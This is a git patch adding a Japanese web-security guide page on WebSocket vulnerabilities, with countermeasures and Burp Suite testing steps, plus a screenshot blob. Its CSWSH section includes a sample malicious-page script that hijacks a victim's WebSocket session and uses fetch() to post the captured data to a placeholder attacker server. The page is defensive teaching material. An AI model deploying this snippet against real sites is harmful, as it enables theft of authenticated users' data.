From 01252ef287f5fab2d4deeb8a5275c1455bc9c7a4 Mon Sep 17 00:00:00 2001 From: ibukit Date: Tue, 20 May 2025 18:57:22 +0900 Subject: [PATCH 1/2] =?UTF-8?q?websocket=E3=83=9A=E3=83=BC=E3=82=B8?= =?UTF-8?q?=E3=81=A8=E7=94=BB=E5=83=8F=E3=81=AE=E8=BF=BD=E5=8A=A0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- content/docs/websocket/_index.md | 100 ++++++++++++++++++++ content/docs/websocket/websocket_image1.png | Bin 0 -> 86185 bytes 2 files changed, 100 insertions(+) create mode 100644 content/docs/websocket/_index.md create mode 100644 content/docs/websocket/websocket_image1.png diff --git a/content/docs/websocket/_index.md b/content/docs/websocket/_index.md new file mode 100644 index 0000000..04ea95f --- /dev/null +++ b/content/docs/websocket/_index.md @@ -0,0 +1,100 @@ +# WebSocket + +## 概要 +WebSocketは、クライアントとサーバー間で双方向通信を可能にする通信プロトコルです。HTTPとは異なり、WebSocketでは接続が確立された後、クライアントとサーバー間で自由にデータを送受信することが可能です。そのような特性から、リアルタイム性の高い機能を実装する際に広く利用されています。この章ではWebSocketに関する一般的な脆弱性や攻撃手法を一部例に挙げ、診断手法および対策を記載します。 + +## 診断観点 +### Cross-site WebSocket hijacking (CSWSH) +Cross-site WebSocket hijacking (CSWSH)とは、攻撃者がユーザーのWebSocket接続を不正に利用する攻撃手法です。WebSocketにおけるCSRF脆弱性ともいえます。WebSocket接続における正当性の検証がCSRFトークンや同等のセキュリティ対策が行われず、セッションCookieのみに依存する場合に発生する可能性があります。また、WebSocket通信ではSame-Origin Policy(SOP)が適用されないため、サーバーがOriginヘッダーを適切に検証しない場合、異なるオリジンからの不正な接続を許可してしまうことも原因の一つです。 + +#### 攻撃の流れ +1. 攻撃者は悪意のあるWebページを用意 +攻撃者は、以下のようなスクリプトを含む悪意のあるWebページを作成します。 + ``` + // ターゲットへのWebSocket接続を確立 + const ws = new WebSocket('wss://[target-server]/socket'); + ws.onopen = function() { + ws.send('payload'); // ペイロードを送信 + }; + ws.onmessage = function(event) { + // データを攻撃者のサーバに送信 + fetch('https://[attacker-serer]/log', { + method: 'POST', + mode: 'no-cors', + body: event.data + }); + }; + ``` + +2. ユーザーが悪意のあるページへアクセス +ユーザーが攻撃者のWebページを開くと、スクリプトが実行され、ユーザーのセッションを使ってターゲットのWebSocketエンドポイントへの接続を確立します。このとき、被害者がターゲットへの認証済みであることを前提とします。 + +3. 不正な操作が実行される +WebSocket通信が確立されると、攻撃者のスクリプトによってWebSocketを経由した不正なデータの送受信が可能になります。 + +### 入力検証不備とメッセージインジェクション +HTTPと同様にWebSocket通信においても入力データの検証が不十分な場合、攻撃者はWebSocketメッセージ内に悪意あるペイロードを混入させ、サーバまたは他のクライアントに対するインジェクション攻撃を実行できます。例えば、JSONメッセージ中のパラメータに悪意のあるクエリやスクリプトを埋め込むことで、SQLインジェクションやクロスサイトスクリプティング(XSS)、コードインジェクションなどを誘発する可能性があります。加えて、WebSocketはリアルタイム性を持つ常時接続の双方向通信プロトコルであるという性質上、攻撃が非常に速いペースで展開されやすく、特にサーバから他のクライアントへのブロードキャスト機能がある場合には、一人の攻撃者の悪意あるデータが複数ユーザーに伝播し、被害が急速に拡大する恐れがあります。WebSocketを利用するアプリケーションでは、入力データをサーバー側で厳密に検証し、適切な処理を行っているか確認する必要があります。 + +### 暗号化 +WebSocket通信は、接続開始時のWebSocketハンドシェイクにおいてはHTTPが使われますが、接続確立後、TCPベースの双方向通信に切り替わります。HTTPと同様に暗号化されていない通信(`ws://`)とSSL/TLSによる暗号化通信(`wss://`)が用意されています。 +暗号化されていない`ws://`接続では、通信内容が平文で送受信されるため、中間者攻撃(MITM)によって攻撃者に通信内容を盗聴される恐れがあります。 + +### 認証・セッション管理の欠如 +WebSocketプロトコル自体には独自の認証・認可の仕組みがありません。そのため認証やセッション管理はアプリケーション側で適切に設計する必要があります。実装が不十分な場合、通常はログイン後にしか利用できないWebSocketエンドポイントに対し、未認証の状態でもWebSocket機能へアクセスできる恐れがあります。他にも、セッション確立後にログアウトしてもWebSocket接続が生き続ける場合もセッション管理上の問題となります。 + +## 事例紹介 +- https://nvd.nist.gov/vuln/detail/CVE-2024-26135 +- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1403 +- https://jvn.jp/jp/JVN50850706/ + + +## 対策 +- Originヘッダの検証 + - WebSocket通信でのSOPはブラウザのOriginヘッダー送信に依存しているため、サーバー側でその値を検証することが重要です。 + - ただし、任意の変更が可能であるため、完全に信頼せず、他の対策と併用する必要があります。 +- CSRFトークンによる正当性確認 + - セッションCookieに基づく認証だけでは、攻撃者が正規ユーザーのセッションを悪用し、不正なWebSocket接続を確立できる場合があります。そのため、通信に推測不可能なランダムな値を付与して検証し、正当な通信であるか判定する必要があります。 +- WSSの使用 + - 常にセキュアなWebSocket (`wss://`) を使用し、通信をTLSで暗号化します。サーバー側で有効な証明書を設定してHTTPS上でWebSocketを提供し、クライアントにも`wss://`で接続させるようにします。またサーバー側の実装においても、TLS接続でないWebSocketのハンドシェイクリクエストは拒否することが望ましいです。 +- 認証トークン(JWT)の利用 +- メッセージの検証 +- 認証認可周り + +## 診断方法 +ここでは、BurpSuiteを用いたCSWSHの診断手法の一例をご紹介します。 +WebSocket接続のハンドシェイクを改ざんし、サーバ側の検証が適切に行われているか確認します。 + +1. Websocket接続の確立 +WebSocket通信が発生する対象画面にアクセスし、`Proxy`→`HTTP history`を確認します。該当するハンドシェイクリクエストを確認し、ステータスコードが101(Switching Protocol)となっていることを確認してください。 + +2. WebSocketメッセージ +`Proxy` → `WebSockets history`タブで通信内容を確認し、クライアントからサーバに対するメッセージを選択しRepeaterに送ります。 + +3. 接続試行 +Repeater画面で編集アイコンをクリックするとBurpが記録したWebSocket接続が一覧表示されます。この中から対象のWebSocket接続を選択し、`Clone`を実行します。 +`Clone`を行うと、既に確立されたWebSocket接続のハンドシェイクが編集可能な状態で複製され、ウインドウに表示されます。ヘッダ等を任意に変更したうえで`Connect`をクリックすると、その内容でWebSocket接続を再試行できます。 + +![image1](./websocket_image1.png) + +このとき、例として以下の様なテストを実施できます。 +- `Origin`ヘッダの改ざん +- CSRFトークンや対策に使用しているヘッダ等の有無、妥当性の検証 +- `X-Forwarded-For`ヘッダの追加によるIPアドレス偽装 + +アプリケーションロジックやWebSocketの認証・認可処理の実装に応じてテストを行い、サーバがセッション情報(Cookie等)のみを根拠にWebSocket接続を許可していないか、またはオリジン検証が適切かを確認してください。 +サーバ側で適切な対策がされていない場合、ハンドシェイクが成功し、WebSocket接続が確立します。そのままメッセージの送受信が可能であれば、CSWSHのリスクが高いと判断できます。 + +#### 拡張機能 +https://github.com/snyk/socketsleuth + + +## 参考 +- https://portswigger.net/web-security/websockets +- https://portswigger.net/burp/documentation/desktop/testing-workflow/websockets/manipulating-websocket-handshakes +- https://pentest-tools.com/blog/cross-site-websocket-hijacking-cswsh +- https://github.com/snyk/socketsleuth +- https://pentest-tools.com/blog/cross-site-websocket-hijacking-cswsh +- https://book.hacktricks.xyz/v/jp/pentesting-web/websocket-attacks +- https://pentest-tools.com/blog/cross-site-websocket-hijacking-cswsh +- https://appcheck-ng.com/cross-site-hijacking/ +- https://devcenter.heroku.com/ja/articles/websocket-security diff --git a/content/docs/websocket/websocket_image1.png b/content/docs/websocket/websocket_image1.png new file mode 100644 index 0000000000000000000000000000000000000000..f5178784e710d4992caf2c64fc35a78ff2263e72 GIT binary patch literal 86185 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 